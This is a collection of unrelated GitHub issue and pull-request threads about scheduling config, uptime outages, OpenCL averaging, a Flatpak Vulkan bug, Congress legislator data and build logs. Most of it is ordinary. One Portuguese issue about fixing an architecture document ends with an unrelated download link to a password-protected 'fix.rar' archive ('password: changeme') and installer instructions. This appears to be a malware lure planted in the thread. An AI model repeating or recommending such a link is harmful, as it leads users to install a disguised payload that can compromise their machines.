text:
get a json format going

make a example json for what our database info would look like, fill it with sample code

50

license: MIT


text:
Update Quarter

Perhaps hardcoding the current quarter is not a good idea?
https://github.com/ucsdscheduleplanner/UCSD-Schedule-Planner/blob/b54a22f4caf96308a0e335cc2b7e33b4b37ef3cc/backend/settings.py#L47

Will update the backend API and make other necessary changes to fully support multiple quarter feature.

We now have 2 config files concerning quarter for backend and scraper.
4cc3bb1048d4ca4d6aab8e4123ca55d79c49c140
This makes sense since

Backend does not need to know what quarters to scrape.
Scraper does not need to know which quarter is the default answer for queries.

source: gharchive/issue

license_type: permissive

license_source: github-api


text:
Possibility to add custom templates

Hey,
i would be awesome, it it was possible to include templates in the form model for example to add a button.
may be something like
new DynamicTextAreaModel({         id: 'myid',         label: 'mylabel',         rows: 5       }), new DynamicTemplate ({   id: myTemplate',   templateUrl: ../../template.html })
it would offer a lot flexibility i think!
best regards
johannes

Hi @JBusch, I had a similar thought but I think a different approach. Just wondering why this got closed so quickly?
Thanks

i added this by mistake, so i closed it. please have a look at #181

authors: JBusch philrowan-mtb

license: isc

license_source: bigquery


text:
[fela]: renderer.renderFont hangs

Specifying an invalid typography.fontFaces source file hangs the Fela renderer.renderFont call

Resolved as styles.typography.fontFaces will no longer be supported per e7c7a2348648f1fffe47b4b07778f6dea90903b2.

repo: uinix-js/uinix-ui


text:
Allow to prevent shortcuts processing in onKeyDown by returning false

Hi!
I need the functionality to "submit" the code when the user presses cmd+enter on Mac or ctrl+enter on Windows. I could "submit" in the onKeyDown but the combination would insert the enter plus indention.
Now the user can return false from onKeyDown to prevent the shortcut processing.
Sorry if the format of this pull request is wrong, it's one of my first ever :)

Oh I see the onKeyDown type needs to be changed as well.

source: gharchive/pull-request

repo: uiwjs/react-textarea-code-editor


text:
Remove metaclasses

Description of change
Uses the much simpler object.__init_subclass__() instead of metaclasses in the couple of places we were using metaclasses.
Checklist

[x] Have any relevant search models been updated?
[x] Have any relevant fixtures (fixtures/test_data.yaml) been updated?
[x] Have any relevant select-/prefetch-related field lists in the views and search apps been updated?
[x] Has the admin site been updated (for new models, fields etc.)?
[x] Has the README been updated (if needed)?

Codecov Report

Merging #1065 into develop will decrease coverage by <.01%.
The diff coverage is 100%.

@@             Coverage Diff             @@
##           develop    #1065      +/-   ##
===========================================
- Coverage    96.18%   96.18%   -0.01%
===========================================
  Files          216      216
  Lines         6190     6180      -10
  Branches       594      594
===========================================
- Hits          5954     5944      -10
  Misses         166      166
  Partials        70       70

Impacted Files
Coverage Δ

datahub/admin_report/report.py
92.15% <100%> (-0.83%)
:arrow_down:

datahub/metadata/fixtures.py
100% <100%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 525786c...a147bff. Read the comment docs.

authors: codecov-io reupen

repo: uktrade/data-hub-leeloo


text:
Upgrade uk.org.webcompere:system-stubs-jupiter so the project can be built with JDK 16+.

The uk.org.webcompere:system-stubs-jupiter test library should be upgrade so that the project can be built with JDK 16+.
For more information, see https://github.com/webcompere/system-stubs
For example, trying to build with JDK 17 gives this error:
java.lang.reflect.InaccessibleObjectException: Unable to make field private final java.util.Map java.util.Collections$UnmodifiableMap.m accessible: module java.base does not "opens java.util" to unnamed module @16b4a017

	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:354)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:297)
	at java.base/java.lang.reflect.Field.checkCanSetAccessible(Field.java:178)
	at java.base/java.lang.reflect.Field.setAccessible(Field.java:172)
	at uk.org.webcompere.systemstubs.environment.EnvironmentVariables.getFieldValue(EnvironmentVariables.java:243)
        ...

Upgrading the library to 2.x.x fixes the build failure.

If accepted+merged, this PR will include this change.

repo: ulisesbocchio/jasypt-spring-boot

license: mit


text:
🛑 Zuko HTTP POST is down

In 564f28a, Zuko HTTP POST (https://zuko.pro) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Zuko HTTP POST is back up in 2cf8adb after 52 minutes.

repo: ultra-bugs/status


text:
Add basic Android support

Hi, continuing from here, this is the pull request with the requested changes (and another convenient one for android development)
Changes in this PR:

src/hostname.cc: Fix compilation when targeting Android SDK min versions < 28.
src/debug.hh: on Android, print UVG_LOG_*** messages to Android Logcat instead of stdout/stderr

Hi,
Thanks for the pull request! We will check and merge it soon.

authors: jstefanelli tampsa

repo: ultravideo/uvgRTP


text:
Bug: Cocos-cli gets stuck while uploading datasets or algo to the agent

What were you trying to achieve?
Upload algorithm and dataset using the cli
What are the expected results?
Dataset and algorithm should be uploaded to the agent
What are the received results?
The progressbar gets stuck for about 2 minutes then completes the operation.
Steps To Reproduce
Build HAL with the latest changes and start manager service. Then run a computation and attempt to upload assets to the agent.
In what environment did you encounter the issue?
When testing cocos with prism.
Additional information you deem important

this issue does not seem to be persistent, could be specific to your system or test setup, please update if the issue persists

authors: SammyOina WashingtonKK

repo: ultravioletrs/cocos


text:
Create a download zip for a researcher that contains S3 links and other info

A researcher should be able to login and hit a button that gives them a zip file with pre-signed S3 links - and any accompanying info that makes sense of things (pedigrees?)
Need to spec what is in the file more here..

[ ] Pedigree or BED file for family cases
[ ] Specimen Pedigree (new format) for cancer (which is tumour v normal)
[ ] Phenopackets?

I'm happy if this in the first instance is implemented to give the researcher exactly the same columns as they currently get from the AG script that Oliver runs. @williamputraintan assigning you this one as you know most about the current format.

repo: umccr/elsa-data


text:
/lyrics

The application didn't respond

there is no such command in the bot

authors: umutxyp zazazaxky-m

repo: umutxyp/MusicBot


text:
"No Hunger" feature isn't working

https://gist.github.com/pl0xdev/f6cc882a94f537c4e20e99e0357bc98c
The No Hunger option seems bugged right now, bar is still visible & functions like vanilla.

for legacy reasons no_hunder is a part of taggable_players by default so if you don't use taggable_players turn it off or remove no_hunger from the taggable_players config

repo: unascribed/Fabrication


text:
Criação de implementação regex (protótipo)

Descrição
Criação de uma implementação de regex (Regular expressions) para início do protótipo, buscando uma implementação simples que trate expressões regulares em arquivos. Cabe ao responsável decidir a ferramenta e as palavras chaves a serem usadas como referência.
Tarefas

[x] Escolha da ferramenta para realizar regex
[x] Implementação básica de regex em arquivos

Testes

[x] Implementação de um regex básico

Foram feitos alguns protótipos de regex sendo aplicados em termos comuns nos diários oficiais.
Código regex:

Arquivo json:

return:


text:
Arrumar Documento de Arquitetura

Arrumar Documento de Arquitetura
Descrição:
Revisar e atualizar o documento de arquitetura para garantir que ele esteja em conformidade com as melhores práticas e que descreva corretamente a estrutura e os componentes do sistema.
Tarefas:

Revisar o documento de arquitetura atual para identificar áreas de melhoria.
Atualizar o conteúdo para refletir as mudanças estruturais e as decisões de design recentes.
Garantir que o documento inclua todas as informações necessárias para entender a arquitetura do sistema.
Validar o documento revisado com a equipe de desenvolvimento e a professora.

Prioridade: Alta

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


text:
Create rooms without inheritance

Allow creation of rooms without inheritance by providing admin user: dccmd mkroom domain.com/some/path/new_room -au some.username

fixed in #14 (use dccmd mkroom -au "user.name" your.domain.com/your_parent/newroom)

repo: unbekanntes-pferd/dccmd


text:
Discussion about OpenCL possibilities

Hi @metabench,
We've talked about the fast OpenCL average calculation. This is not so easy, it's even cannot be achieved on the current devices. Doable but not fast.
First you a need a reduction on each core:  http://developer.amd.com/resources/documentation-articles/articles-whitepapers/opencl-optimization-case-study-simple-reductions/ calculating the sum. Then comes the slow part, you have to do global atomics to sum up the result from the cores. Counting the host - device data copy and the kernel launching overhead on top of this, I don't think that this can beat a well optimized CPU based average calculation code.

Thanks for that link. I don't yet understand some things about the code there, it's introduced some new concepts such as barrier(CLK_LOCAL_MEM_FENCE);.
The code I've just written for the averages calculation is at https://github.com/metabench/opencljs-experiments/blob/master/average.js
Anyway, I've made some progress in calculating averages, I'm taking a reduce-based approach as well.
My guess is if there is considerable overhead in sending and receiving the data then the overhead may be more than using SIMD instructions on the CPU to calculate averages. When the data is on the GPU anyway, it's probably a different matter.
Also, even if the CPU is fast at calculating averages, it may be better in some cases to use the CPU for more complicated tasks. Anyway, I'll have more results about doing the calculations on the GPU before long.

Just seeing experimental code of yours, I've came up with two suggestions:

In Node.js you should avoid synchronous OpenCL invocations altogether. If you do buffer reads in synchronous manner, then till the whole queue completed and data copied back to host it blocks the main node thread. Because node is single threaded, it will block the whole system. For example if you're making a node-webkit/nw.js/atomshell application, the UI will hang up till the computation and the copying gets done.
I've noticed that you have the misconception about GPGPU programming that the every newcomer has (I had that too): you think that anything goes on the GPU it must be as fast as hell. That is not the case. Most operations are slower to execute on the GPU than the CPU. GPU can do many unrelated computations in parallel really fast. That's it. The keywords here is parallel and unrelated. As soon as invidual computation results have to be merged somehow it will be more and more inefficient. So I suggest that you should make an imperative JS version for each of your OCL experiment code, and compare performances of those to each other by using small then a large datasets. You will be surprised.

I'm aware that with these small calculations it's not going to be going faster. I'm using small calculations so I can understand what it's doing.

I'd like to use asynchronous calls with the JavaScript, but I'm uncertain how to do it. I think I'd use libuv. It's something I'd like to be available to carry out OpenCL processes.

Then try to use NOOOCL. I've already made that available. :) Or if you wanna do it with C++ by yourself, then look for how it was achieved in node-opencl module.

I'll be looking at both in detail. I'll also look at some simpler asynchronous examples.

There is a really simple case in the ffi module on that NOOOCL relies: https://github.com/node-ffi/node-ffi/blob/master/src/callback_info.cc#L167
When a callback arises in a thread, it gets enqueued. Then main node thread gets awakened by libuv, doing a native callback that process work items in the queue.

Calculating averages is definitely proving a challenge. I've explored various ways of doing it. It becomes more complicated when the data set size is not a multiple of the reduction_factor. I've added some weighting to allow for that, but of course that would slow it down.
Also, to calculate the mean it may be easiest to calculate the total, then divide that by the number of items, rather than working out intermediate averages.
With large enough sets of data (including large enough numbers), while averaging I'm hitting the precision limit of the double type. This could be mitigated by lowing the reduction_factor, and I'll be trying this.

Also, it's not taking all that much to crash my graphics card, such as trying to average 800000 values.

Adding release_all to do the OpenCL releasing of memory has made it crash less frequently, but it still seems like it's filling up the memory so that it eventually fails.

The crashing was solved to switching my display to the integrated Haswell graphics. Now I'm able to run big OpenCL calculations without it crashing :)
While I could do more on calculating the averages with averaging throughout the process, for the moment I'm happy to calculate the total in order to get the average.
With the reduce function, I'm having it keep track of how many input elements went into each of the results. While I was planning on this being used to calculate weightings in averages (in cases that don't neatly fit into the reduction factor), I found it helpful in verifying that all the calculations had been done. I encountered problems with it not completing the calculations, but now I've corrected the code it does complete the calculations.
I'm hitting the limit of what smalloc will allocate. I don't know if this average calculation would be faster than SIMD or not, but so far the results are very encouraging for being able to do a lot of calculation quickly on the GPU with OpenCL.

Maybe you could put there a link to your experiment's result that I can take a look at.

The code itself is at https://github.com/metabench/opencljs-experiments/blob/master/average.js. To run it you would need an each function, which it gets from jsgui (https://github.com/metabench/jsgui/blob/master/js/core/jsgui-lang-essentials.js)
The output is:
initializing data
JavaScript init data time:  [ 0, 939386439 ]
Done some OpenCL init.
stage_reduced_size 15000000
n_stage 0
stage_reduced_size 1875000
n_stage 1
stage_reduced_size 234375
n_stage 2
stage_reduced_size 29297
n_stage 3
stage_reduced_size 3663
n_stage 4
stage_reduced_size 458
n_stage 5
stage_reduced_size 58
n_stage 6
stage_reduced_size 8
n_stage 7
stage_reduced_size 1
n_stage 8
n_stage 8
time_diff [ 0, 22272505 ]
last_res_buffer[0] 1199974912
last_input_count_buffers[0] 120000000

I did not get tiem to look at this, just I have a small suggestion: instead of each use lodash which is kinda standard in JavaScript functional programming.

I'll stick with jsgui-lang-essentials. I'm making a Class in the project, and while such capabilities are within ES6, I'd need to use --harmony or --harmony_classes as a startup option. The reason that these are made into startup options I've read is to discourage their use, so I've been discouraged quickly reverted to using jsgui for classes, so it makes sense to also stick with the each loop from jsgui as well.

By the way arrays in node has forEach method, but with io.js you have for of loop. For of is much better because you can use yield in the loop body. Yeah, the World could be much better place if we can use classes of ES6 without harmony, but I think mootols' classes are good until we get them.

I'm not that interested in using these features that come with warnings and say they won't work on different browsers. The parts which can be very compatible between browsers I'd prefer remain to be so.
Maybe Babel would be worth using but it's a stage in the build process which I otherwise don't need. In fact, I like to be able to just run the code without building. I can't do that on the client side because I'm using browserify rather than AMD (Asynchronous Module Definition), I think that was a big improvement, but I don't want to have a build process for the server side code right now.
Maybe I'll see some examples that will get me interested in the yield method, and show how I can use it effectively.
for...of looks like it may save the overhead of a function call, so it may be a useful thing for efficiency while still expressing the concept neatly.

My ES6 example uses yield.

authors: metabench unbornchikken

repo: unbornchikken/NOOOCL


text:
🛑 Stories on exposure.co is down

In cf4b42f, Stories on exposure.co (https://stories.undp.org) was down:

HTTP code: 502
Response time: 185 ms

Resolved: Stories on exposure.co is back up in a806e3b.

repo: undp/uptime-monitor


text:
Improve app performance by removing code coverage from published RCLs

Several RCLs are published with code coverage embedded which slows down execution:

[ ] gitea-react-toolkit
[ ] scripture-resource-rcl
[ ] single-scripture-rcl
[ ] translation-helps-rcl

Notes it was likely added for unit testing to add code coverage badges to PRs, but should not be present on publishing.

Code coverage needed for development environment but not for production code.

repo: unfoldingWord/gateway-edit


text:
🛑 Piped is down

In 21cf88a, Piped (https://piped.unforest.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Piped is back up in 5e46f0e after 12 minutes.

repo: unforest/uptime


text:
🛑 Piped is down

In 66e6972, Piped (https://piped.unforest.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Piped is back up in 65cee6f after 11 minutes.


text:
🛑 Piped API is down

In c4ecd01, Piped API (https://pipedapi.unforest.net) was down:

HTTP code: 0
Response time: 0 ms

Resolved: Piped API is back up in b085696 after 31 minutes.


text:
無法運行。

最新版brew安裝後，在以前從未安裝過npm的情況下根據首頁說明安裝了npm，然後
當運行 hi8命令後直接報異常了，如下：
child_process.js:430
    throw new ERR_INVALID_ARG_TYPE('options.cwd', 'string', options.cwd);
    ^

TypeError [ERR_INVALID_ARG_TYPE]: The "options.cwd" property must be of type string. Received function wrappedCwd
    at normalizeSpawnArguments (child_process.js:430:11)
    at Object.spawn (child_process.js:546:13)
    at Function.module.exports.daemon (/usr/local/lib/node_modules/hi8/node_modules/daemon/index.js:50:31)
    at module.exports (/usr/local/lib/node_modules/hi8/node_modules/daemon/index.js:25:20)
    at Object.<anonymous> (/usr/local/lib/node_modules/hi8/bin.js:8:3)
    at Module._compile (internal/modules/cjs/loader.js:1144:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:1164:10)
    at Module.load (internal/modules/cjs/loader.js:993:32)
    at Function.Module._load (internal/modules/cjs/loader.js:892:14)
    at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12) {
  code: 'ERR_INVALID_ARG_TYPE'
}

I'm sorry, I cannot read Chinese!
Google translate has translated your message as follows:

After installing the latest version of brew, install npm according to the homepage instructions without installing npm before, then
When running the hi8 command, an exception is reported directly, as follows

I have not encountered this error before, but it's possible a breaking change was introduced into node:
https://github.com/nodejs/node/commit/20fd12310f3c82dbd45bc2161fa0a73bf823fe9e
I don't have time to investigate this week but hope this at least helps give you a clue to what the problem might be. Best of luck!

好的，謝謝。

Nate Goldman notifications@github.com 於 2020年01月13日 10:35 寫道：
I'm sorry, I cannot read Chinese!
Google translate has translated your message as follows:
After installing the latest version of brew, install npm according to the homepage instructions without installing npm before, then
When running the hi8 command, an exception is reported directly, as follows
I have not encountered this error before, but it's possible a breaking change was introduced into node:
nodejs/node@20fd123 https://github.com/nodejs/node/commit/20fd12310f3c82dbd45bc2161fa0a73bf823fe9e
I don't have time to investigate this week but hope this at least helps give you a clue to what the problem might be. Best of luck!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub https://github.com/ungoldman/hi8/issues/9?email_source=notifications&email_token=ACZQRMTSAGL6V4AJUMHTG4LQ5PHOLA5CNFSM4KFWIHYKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEIXL75Y#issuecomment-573489143, or unsubscribe https://github.com/notifications/unsubscribe-auth/ACZQRMW2ERTMQHJXQNQM3HTQ5PHOLANCNFSM4KFWIHYA.

authors: exsystem ungoldman

license: ISC


text:
Ungoogled-chromium Flatpak has no Vulkan

OS/Platform
Debian, Ubuntu, and derivatives
Installed
Flatpak
Version
112
Have you tested that this is not an upstream issue or an issue with your configuration?

[X] I have tried reproducing this issue in Chrome and it could not be reproduced there
[X] I have tried reproducing this issue in vanilla Chromium and it could not be reproduced there
[ ] I have tried reproducing this issue in ungoogled-chromium with a new and empty profile and it could not be reproduced there

Description
Ungoogled-chromium Flatpak has no Vulkan enabled
How to Reproduce?

flatpak run --env=__NV_PRIME_RENDER_OFFLOAD=1 --env=__GLX_VENDOR_LIBRARY_NAME=nvidia --env=PW_PRIME_RENDER_OFFLOAD=1 --branch=stable --arch=x86_64 --command=/app/bin/chromium --file-forwarding com.github.Eloston.UngoogledChromium @@u \
    --enable-gpu-rasterization \
    --enable-accelerated-2d-canvas \
    --enable-accelerated-video-decode \
    --ignore-gpu-blocklist \
    --enable-zero-copy \
    --enable-unsafe-webgpu \
    --enable-features=UseSkiaRenderer,Vulkan \
    --disable-quic \
    --extension-mime-request-handling=always-prompt-for-install \
    --hide-sidepanel-button \
    --enable-smooth-scrolling \
    --tab-hover-cards=tooltip \
    --enable-features=CanvasOopRasterization,EnableDrDc,RawDraw \
    --custom-ntp=chrome://gpu \
@@

Actual behaviour
Vulkan Disabled
Expected behaviour
Vulkan Enabled
Relevant log output
F: Not sharing "/usr/lib/x86_64-linux-gnu/gtk-3.0/modules" with sandbox: Path "/usr" is reserved by Flatpak
F: Not sharing "/usr/lib/x86_64-linux-gnu/gtk-2.0/modules" with sandbox: Path "/usr" is reserved by Flatpak
Gtk-Message: 17:39:01.032: Failed to load module "xapp-gtk3-module"
Gtk-Message: 17:39:01.033: Failed to load module "appmenu-gtk-module"
Gtk-Message: 17:39:01.594: Failed to load module "xapp-gtk3-module"
Gtk-Message: 17:39:01.594: Failed to load module "appmenu-gtk-module"
[2:2:0509/173901.747329:ERROR:chrome_browser_cloud_management_controller.cc(162)] Cloud management controller initialization aborted as CBCM is not enabled.
Warning: vkCreateInstance: Found no drivers!
Error: vkCreateInstance failed with VK_ERROR_INCOMPATIBLE_DRIVER
    at CheckVkSuccessImpl (../../third_party/dawn/src/dawn/native/vulkan/VulkanError.cpp:88)
    at CreateVkInstance (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:416)
    at Initialize (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:302)
    at Create (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:232)
    at operator() (../../third_party/dawn/src/dawn/native/vulkan/BackendVk.cpp:491)

Error: eglChooseConfig returned zero configs
    at Create (../../third_party/dawn/src/dawn/native/opengl/ContextEGL.cpp:53)

Additional context

--enable-features=VaapiVideoDecoder - doesn't helps
--disable-features=UseChromeOSDirectVideoDecoder -  doesn't helps
--use-gl=egl - disables gpu acceleration at all
inxi -G:
Graphics:
  Device-1: Intel HD Graphics 630 driver: i915 v: kernel
  Device-2: NVIDIA GP107M [GeForce GTX 1050 Mobile] driver: nvidia
    v: 525.105.17
  Device-3: Sunplus Innovation Integrated_Webcam_HD type: USB
    driver: uvcvideo
  Display: x11 server: X.Org v: 1.21.1.3 driver: X:
    loaded: modesetting,nvidia unloaded: fbdev,nouveau,vesa gpu: i915
    resolution: 1920x1080~60Hz
  OpenGL: renderer: Mesa Intel HD Graphics 630 (KBL GT2) v: 4.6 Mesa 22.3.5

Flatpak GL installaed:
Mesa org.freedesktop.Platform.GL.default 21.3.9	21.08 flathub system
Mesa org.freedesktop.Platform.GL.default 23.0.2	22.08 flathub system
Mesa (Extra) org.freedesktop.Platform.GL.default 23.0.2	22.08-extra flathub system
nvidia-525-85-05 org.freedesktop.Platform.GL.nvidia-525-85-05 1.4 flathub system
(Ungoogled-chromium Not Flatpak 100 - Vulkan Enabled)

https://github.com/flathub/org.chromium.Chromium/issues/169

Exactly the same issue here on 3 devices (nvidia, intel, amd). I removed the opengl flag and only vulkan is missing. Not sure what it does performance wise.

Please file this issue with the Flatpak repo: flathub/com.github.Eloston.UngoogledChromium

https://github.com/flathub/com.github.Eloston.UngoogledChromium/issues/110

authors: Bixilon Flashwalker PF4Public

repo: ungoogled-software/ungoogled-chromium


text:
📝 Issue Description / 問題の説明
PC で開いてもコンテンツの幅が 500px になっているため、閲覧しにくい原因の1つになっている
📋 On which page(s) it occurs / 問題のあるページ
全ページ
🤔 Expected Behavior / 期待結果
PC・スマホ・タブレット別に以下の幅になっていること

タイプ
タイプの区別方法
幅

PC
画面幅が 1280px 以上
900px

タブレット
画面幅が 768px~1279px
700 px

スマホ
画面幅が 768px 以下
480px

👀 Current Behavior / 現在の動き
常に500px になっている
🖥 Browser / ブラウザ
N/A
📄 Additional Information
N/A

担当したいです！！よろしくお願いします！！

@mantaroh 担当したいです！！よろしくお願いします！！

この修正は、最初に以下の修正をしてみて下さい。
https://github.com/unimal-jp/spear-doc/blob/main/src/assets/css/main.scss#L21
この箇所に書いている
width: 500px;

を
width: 900px;

に変更します。
変更後、StackBlitz で画面を確認してみて下さい。

@0000okmn
貢献ありがとうございます！
修正内容も問題なくバッチシでした！

repo: unimal-jp/spear-doc


text:
The 116th Congress

Ok. So. We just had an election. See #223 and #375 for how we've handled election results for the past two Congress. Yesterday's special elections are being done in #614.
Yesterday's election was for all representatives (incl. delegates) except Puerto Rico's delegate which is a four-year position and this was an off-year, for a total of 440 seats, and the 33 class 1 senators. The House Clerk promises to provide XML data mid November with bioguide IDs provided for all representatives, so we should use that wherever possible to automate this. I think we'll need to gather Senate results manually.
Cribbing from #375, the overall tasks that need to be done are:
As data comes in:

[ ] Incumbents that won reelection: Clone their term but update the dates. Check if Senate state junior/senior rank needs to be updated.
[ ] Legislators that won election to a new seat, e.g. representatives who ran for senate or who changed district number (possibly in PA where the districts were redrawn): Add a term with new information. Senate terms are likely junior rank.
[ ] Incumbents and legislators who ran for a different seat but lost: Run the retire and sweep scripts to move them to the legislators-historical file and clear their committee and social media records.
[ ] Winners who served in Congress previously: Move their record from the legislators-historical file to the legislators-current file and check if any missing metadata can be filled in. Senators are likely junior rank.
[ ] Winners who are new: Add per the new member template. Senators are likely junior rank. We should have all representative bioguide IDs soon but senator bioguide IDs may not be available until they are sworn in.
[ ] Add end dates to all current leadership_roles for Members who are no longer serving.
[ ] Committee assignments must be cleared.
[ ] Photos need to be found for new members.
[ ] Social media accounts can be added for new members.

After January 3:

[ ] Fix start dates to actual swearing in dates if any legislators didn't get sworn in on the first day.
[ ] Bioguide IDs must be filled in when they become available. We have a script to guess IDs. We should know all representative IDs by now but not Senate IDs.
[ ] New leadership roles
[ ] Fill in the inevitable missing data, like office addresses (via the house_contacts.py and senate_contacts.py scripts) and committee membership.

The House clerk has posted unofficial data on the 116th Congress membership:
http://clerk.house.gov/member_info/unofficial-116-member-elect-data.xml
I am going to start a branch for the 116th Congress this weekend.

Hi Josh...
Y'all have been a big help. Not sure what format would be best, but please see the attached, as follows:

New members only for 116th (House/Senate)
Includes Harris NC09, just in case
uses the Dec. 13th House XML, plus known Senator-elects, as keys.
Adds
-- bioguide IDs where known (source: house clerk, previous IDs for Senators where avail)
-- All known social media: twitter, facebook, instagram, youtube. Labels as campaign, official, personal or other
-- Adds opensecrets_id, votesmart_id, fec_ids, cspan_ids, wikipedia_ids, ballotpedia IDs

We have most of the photos, but we use this for machine learning vs public, so don't know clearances for reuse, though nearly all are either CC wiki, or from campaign.
Hope this data is useful. If a better format, LMK what would work. Just CSV
116th.xlsx

Happy New Year and Happy New Congress! Just ran a pull request on the 116th congress and got 0 members. I realize it hasn't started yet, but any idea when we might see data start filling up there? Thanks for all the great work on this.

I've been working on this in #625, which barring any unexpected issues I will merge at noon tomorrow, which is when the 116th Congress begins.

Awesome. Thank you!

I can add FEC IDs to the House freshmen class, if no one else is working on it. cc @JoshData

authors: JoshData dwillis frisch1 mikeshyavitzcbo

repo: unitedstates/congress-legislators


text:
Modify update to work with patch as per rc3 spec

This commit does not allow arrays in update anymore

fixes #51


text:
refactor: deprecate commonjs api

Use @deprecated annotations to encourage migrating to ESM-compatible async API.

@pi0 I've been investigating esm-compatible synchronous require lately and was wondering - why did you decide to deprecate this? There are use-cases where being able to synchronously require a file is useful in node.js, such as loading configuration without requiring top-level await.

repo: unjs/jiti


text:
tagToString in @unhead/ssr escapes JSON with no effect

Environment
@unhead/ssr 1.5.4
Reproduction
https://github.com/vetruvet/unhead-vue2-first-request-bug
Describe the bug
https://github.com/unjs/unhead/blob/main/packages/ssr/src/util/tagToString.ts#L53 runs after content is set so the escaping has no effect
Additional context
Fix PR incoming
Logs
No response

Available in 1.5.5 :)

authors: harlan-zw vetruvet

repo: unjs/unhead


text:
Ishaan/modular

Before issuing a pull request, please see the contributing page.

Merging this PR for Ishaan

repo: unniudinoor/FtcRobotController


text:
ignoreAttributes doesn't  disable scanning the attrs generate from component props

UnoCSS version
0.58.6
Describe the bug
I want to prevent Uno detect the 'size' attribute on my Icon component, because my icon's size is control by the "size" prop.
I use the setting below and it works on native html tag, but not on my vue icon component.
presetAttributify({
  ignoreAttributes: ['size'],
})

Reproduction
https://stackblitz.com/edit/vitejs-vite-y6gjgg?file=src%2FApp.vue
System Info
No response
Validations

[X] Read the Contributing Guidelines.
[X] Check that there isn't already an issue that reports the same bug to avoid creating a duplicate.
[X] Check that this is a concrete bug. For Q&A open a GitHub Discussion or join our Discord Chat Server.
[X] The provided reproduction is a minimal reproducible example of the bug.

@johnson0903
I don't know if this is a bug, because the current path of unocss matches exactly, so if you want to achieve your goal, you need to configure ["size", ":size"]
@antfu What do you think? We need to change the matching rules to directly support the a and :a forms in ignoreAttributes.

Thank you, it works for me.
As for changing the matching rule, do you mean it should prevent all attributes added by the props from being detected? Or only the actual word list in ignore configuration?
For example, if component's :size props generate w-1 and h-1 on child tag.

It seems that antfu is not very willing to deal with extra :, but it doesn't matter. You can configure :size on the user side to solve the problem. I will close this issue.

repo: unocss/unocss


text:
Build own version

PassCore Server

OS: [Windows]
Provider: [Active Directory]
Settings file (without sensitive information):

Describe the bug
Microsoft (R) Build Engine version 16.1.76+g14b0a930a7 for .NET Core
Copyright (C) Microsoft Corporation. All rights reserved.
Restore completed in 25.81 ms for C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Common\Unosquare.PassCore.Common.csproj.
Restore completed in 25.8 ms for C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.PasswordProvider\Unosquare.PassCore.PasswordProvider.csproj.
Restore completed in 33.08 ms for C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Zyborg.PassCore.PasswordProvider.LDAP\Zyborg.PassCore.PasswordProvider.LDAP.csproj.
Restore completed in 96.93 ms for C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Web\Unosquare.PassCore.Web.csproj.
Restore completed in 43.38 ms for C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Web\Unosquare.PassCore.Web.csproj.
Unosquare.PassCore.Common -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Common\bin\Release\netstandard2.0\win-x64\Unosquare.PassCore.Common.dll
Unosquare.PassCore.Common -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master
Unosquare.PassCore.Common -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Common\bin\Release\netstandard2.0\Unosquare.PassCore.Common.dll
Unosquare.PassCore.PasswordProvider -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.PasswordProvider\bin\Release\netstandard2.0\win-x64\Unosquare.PassCore.PasswordProvider.dll
Unosquare.PassCore.PasswordProvider -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master
Unosquare.PassCore.PasswordProvider -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.PasswordProvider\bin\Release\netstandard2.0\Unosquare.PassCore.PasswordProvider.dll
Zyborg.PassCore.PasswordProvider.LDAP -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Zyborg.PassCore.PasswordProvider.LDAP\bin\Release\netstandard2.0\win-x64\Zyborg.PassCore.PasswordProvider.LDAP.dll
Unosquare.PassCore.Web -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master\src\Unosquare.PassCore.Web\bin\Release\netcoreapp2.2\win-x64\Unosquare.PassCore.Web.dll
Zyborg.PassCore.PasswordProvider.LDAP -> C:\Users\muhd_halim\Desktop\Halim\chat\pw\passcore-master
Performing run Webpack publish...
[at-loader] Using typescript@2.9.2 from typescript and "tsconfig.json" from C:/Users/muhd_halim/Desktop/Halim/chat/pw/passcore-master/src/Unosquare.PassCore.Web/tsconfig.json.
[at-loader] Checking started in a separate process...
[at-loader] Ok, 1.294 sec.
WebpackCleanupPlugin: 0 file(s) deleted.
Hash: 941fdbfdc32547f0d90f
Version: webpack 3.12.0
Time: 28842ms
Asset       Size  Chunks                    Chunk Names
assets/images/logo.png    3.21 kB          [emitted]
vendor.bundle.js     974 kB       0  [emitted]  [big]  vendor
polyfills.bundle.js     145 kB       2  [emitted]         polyfills
index.html    3.06 kB          [emitted]
manifest.json  527 bytes          [emitted]
assets/favicon.ico    1.15 kB          [emitted]
assets/images/help.png  304 bytes          [emitted]
main.bundle.js     1.9 MB       1  [emitted]  [big]  main
